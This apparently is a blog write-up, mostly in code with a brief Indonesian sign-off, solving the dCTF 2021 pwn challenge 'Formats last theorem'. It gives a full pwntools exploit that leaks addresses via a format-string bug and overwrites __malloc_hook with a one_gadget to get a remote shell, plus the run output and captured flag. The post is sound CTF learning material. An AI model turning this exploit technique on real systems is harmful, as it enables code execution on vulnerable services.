SERVER,PORT = "dctf-chall-formats-last-theorem.westeurope.azurecontainer.io", 7482
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
context.update(arch ="amd64", log_level = "warn")
def exploit(io, libc =null):
# raw_input("Fire GDB!")
p = b""
p += b"%27$p||%23$p" # main() || __libc_start_main+231
io.sendlineafter("point\n", p)
io.recvuntil("you entered\n")
LEAKED_RAW = io.recvline().strip().decode()
LEAKED_LIST = LEAKED_RAW.split("||")
MAIN_ADDRESS = int(LEAKED_LIST[0],16)
BASE_ADDRESS = MAIN_ADDRESS - elf.symbols["main"]
LIBC_START_MAIN = int(LEAKED_LIST[1],16)
LIBC_BASE = LIBC_START_MAIN - libc.symbols["__libc_start_main"] - 231
MALLOC_HOOK = LIBC_BASE + libc.symbols["__malloc_hook"]
ONE_GADGET_OFFSET = 0x10a41c
ONE_GADGET = LIBC_BASE + ONE_GADGET_OFFSET
print("=======[LEAKED ADDRESS]=======")
print("[!] BASE_ADDRESS : ",hex(BASE_ADDRESS))
print("[!] LIBC_BASE : ",hex(LIBC_BASE))
print("==============================")
print("[!] MAIN : ",hex(MAIN_ADDRESS))
print("[!] LIBC_START_MAIN : ",hex(LIBC_START_MAIN))
print("[!] __malloc_hook : ",hex(MALLOC_HOOK))
print("[!] one_gadget : ",hex(ONE_GADGET))
part1 = str(hex(ONE_GADGET))[2:-8]
part2 = str(hex(ONE_GADGET))[6:-4]
part3 = str(hex(ONE_GADGET))[10:]
print(part1,"|",part2,"|",part3)
# information gathering
# p += "%{}c".format(str(0x41).rjust(10,"0")).encode()
# p += b"%8$p"
# p += p64(0xDEADBEEFCAFEBABE)
# p += "%{}c".format(str(0x41).rjust(9,"0")).encode()
# p += b"%11$p"
# p += p64(0xF155DEADC0BAB0BA)
p = b""
p += "%{}c".format(str(int(part1, 16) & 0xFFFF).rjust(9,"0")).encode()
p += b"%8$hn"
p += p64(MALLOC_HOOK+4) # 8(byte)
io.sendlineafter("point\n", p)
p = b""
p += "%{}c".format(str(int(part2, 16) & 0xFFFF).rjust(9,"0")).encode()
p += b"%8$hn"
p += p64(MALLOC_HOOK+2)
io.sendlineafter("point\n", p)
p = b""
p += "%{}c".format(str(int(part3, 16) & 0xFFFF).rjust(9,"0")).encode()
p += b"%8$hn"
p += p64(MALLOC_HOOK)
io.sendlineafter("point\n", p)
# %65536$c | trigger __malloc_hook
p = "%{}c".format(0x10000).encode()
io.sendlineafter("point\n", p)
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "r":
REMOTE = True
io = remote(SERVER, PORT)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
LOCAL = True
io = process([TARGET])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
exploit(io, libc)
Exploit:
phobos@PH0bo5: python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/07Format_last_theorem_SOLVED/formats_last_theorem'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
=======[LEAKED ADDRESS]=======
[!] BASE_ADDRESS : 0x55580f5a0000
[!] LIBC_BASE : 0x7efebb801000
==============================
[!] MAIN : 0x55580f5a07ac
[!] LIBC_START_MAIN : 0x7efebb822bf7
[!] __malloc_hook : 0x7efebbbecc30
[!] one_gadget : 0x7efebb90b41c
7efe | bb90 | b41c
you entered
$ ls
flag.txt
formats_last_theorem
startService.sh
$ cat flag.txt
dctf{N0t_all_7h30r3ms_s0und_g00d}
$
FLAG : dctf{N0t_all_7h30r3ms_s0und_g00d}
CTF kali ini cukup menghibur dan bermanfaat, karena banyak ilmu dan pengalaman yang penulis dapatkan saat mengerjakannya. Tapi sungguh disayangkan penulis tidak berhasil menyelesaikan Challenge PWN yang terakhir Just another heap
. Yaiyalah, saya kan noob.
Silahkan mampir juga ke blog rekan satu tim saya:
Akhir kata, All is Well.. Alhamdulillah.. InsyaAllah ngepost lagi ^ -^)b